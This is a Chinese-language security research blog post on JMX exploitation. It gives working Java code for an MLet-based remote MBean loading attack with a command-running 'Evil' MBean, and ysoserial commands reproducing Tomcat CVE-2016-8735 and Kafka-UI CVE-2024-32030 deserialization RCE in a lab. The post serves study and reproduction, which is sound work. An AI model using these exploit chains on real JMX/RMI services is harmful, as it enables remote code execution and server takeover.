前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。
JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。
以下代码实现简单的 JMX demo,文件结构
├── HelloWorld.java ├── HelloWorldMBean.java └── jmxDemo.java
HelloWorldMBean.java
package org.example; public interface HelloWorldMBean { public void sayhello(); public int add(int x, int y); public String getName(); }
HelloWorld.java
package org.example; public class HelloWorld implements HelloWorldMBean{ private String name = "Drunkbaby"; @Override public void sayhello() { System.out.println("hello world" + this.name); } @Override public int add(int x, int y) { return x + y; } @Override public String getName() { return this.name; } }
jmxDemo.java
package org.example; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class jmxDemo { public static void main(String[] args) throws Exception{ MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); ObjectName mbsName = new ObjectName("test:type=HelloWorld"); HelloWorld mbean = new HelloWorld(); mBeanServer.registerMBean(mbean, mbsName); // 创建一个 RMI Registry Registry registry = LocateRegistry.createRegistry(1099); // 构造 JMXServiceURL,绑定创建的 RMI JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); // 构造JMXConnectorServer,关联 mbserver JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); jmxConnectorServer.start(); System.out.println("JMXConnectorServer is ready"); System.out.println("press any key to exit."); System.in.read(); } }
其中
JMX 的安全问题主要发生在以下三处
1、jmx
2、mbean
3、rmi
其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。
Mlet 指的是
javax.management.loading.MLet
,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:
MBeanjavax.management.loading.MLet
的实例文件结构
├── Evil.java └── EvilMBean.java
EvilMBean.java
package com.drunkbaby.mlet; public interface EvilMBean { public String runCommand(String cmd); }
Evil.java
package com.drunkbaby.mlet; import java.io.BufferedReader; import java.io.InputStreamReader; public class Evil implements EvilMBean { public String runCommand(String cmd) { try { Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); String stdout_err_data = ""; String s; while ((s = stdInput.readLine()) != null) { stdout_err_data += s+"\n"; } while ((s = stdError.readLine()) != null) { stdout_err_data += s+"\n"; } proc.waitFor(); return stdout_err_data; } catch (Exception e) { return e.toString(); } } }
将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html
整体结构如图
ExploitJMXByRemoteMBean.java
package com.drunkbaby.mlet; import javax.management.MBeanServerConnection; import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import java.net.MalformedURLException; import java.util.HashSet; import java.util.Iterator; public class ExploitJMXByRemoteMBean { public static void main(String[] args) { try { // connectAndOwn(args[0], args[1], args[2]); connectAndOwn("localhost","1099","open -a Calculator"); } catch (Exception e) { e.printStackTrace(); } } static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException { try { // step1. 通过rmi创建 jmx连接 JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); System.out.println("URL: " + u + ", connecting"); JMXConnector c = JMXConnectorFactory.connect(u); System.out.println("Connected: " + c.getConnectionId()); MBeanServerConnection m = c.getMBeanServerConnection(); // step2. 加载特殊MBean:javax.management.loading.MLet ObjectInstance evil_bean = null; ObjectInstance evil = null; try { evil = m.createMBean("javax.management.loading.MLet", null); } catch (javax.management.InstanceAlreadyExistsException e) { evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); } // step3:通过MLet加载远程恶意MBean System.out.println("Loaded "+evil.getClassName()); Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[] { "http://localhost:4141/evil.html"}, new String[] { String.class.getName() } ); HashSet res_set = ((HashSet)res); Iterator itr = res_set.iterator(); Object nextObject = itr.next(); if (nextObject instanceof Exception) { throw ((Exception)nextObject); } evil_bean = ((ObjectInstance)nextObject); // step4: 执行恶意MBean System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName()); System.out.println("Calling runCommand with: "+command); Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() }); System.out.println("Result: "+result); } catch (Exception e) { e.printStackTrace(); } } }
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener()
方法。
Apache Tomcat 9.0.0.M1 - 9.0.0.M11
Apache Tomcat 8.5.0 - 8.5.6
Apache Tomcat 8.0.0.RC1 - 8.0.38
Apache Tomcat 7.0.0 - 7.0.72
Apache Tomcat 6.0.0 - 6.0.47
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要添加一个 listener 和 catalina.sh
,网上教程都有,包括两个 jar 包,我这里不再赘述了。
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try { RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv); cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer()); cs.start(); registry.bind("jmxrmi", server); log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName})); } catch (AlreadyBoundException | IOException var15) { log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15); }
很经典的手法,registry.bind()
调用反序列化,接着通过 Grovvy1 链触发
同样这里其实也是用 RMI 协议来打的。
这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。
2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean
package ysoserial.exploit; import javax.management.MBeanServerConnection; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import ysoserial.payloads.ObjectPayload.Utils; /* * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * */ public class JMXInvokeMBean { public static void main(String[] args) throws Exception { if ( args.length < 4 ) { System.err.println(JMXInvokeMBean.class.getName() + " "); System.exit(-1); } JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); JMXConnector jmxConnector = JMXConnectorFactory.connect(url); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); // create the payload Object payloadObject = Utils.makePayloadObject(args[2], args[3]); ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); //close the connection jmxConnector.close(); } }
我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind()
另外一种是在用 jmx:rmi//
协议去打。
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。
CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。
Kafka-UI <= 0.7.1
Kafka-UI 的 docker
version: '3.8' services: kafka-ui: image: provectuslabs/kafka-ui:v0.7.1 container_name: kafka-ui environment: - DYNAMIC_CONFIG_ENABLED=true - JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ports: - "8080:8080" - "5005:5005"
Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了
version: '2' services: zookeeper: image: zookeeper restart: always ports: - "2181:2181" container_name: zookeeper kafka: image: wurstmeister/kafka restart: always ports: - "9092:9092" - "9094:9094" depends_on: - zookeeper environment: KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1 KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094 KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094 KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT container_name: kafka
使用 ysoserial 直接打,起一个恶意的 JMX 服务。
git clone https://github.com/artsploit/ysoserial/ cd ysoserial && git checkout scala1 mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
开启了之后,使用 Kafka-UI 去连接该 JMX
第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true
,再进行 CC 的反序列化。
服务器接收到恶意的请求
随后第二步直接使用 CC 链打。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
攻击成功
通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo
最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync
方法
后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。
这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。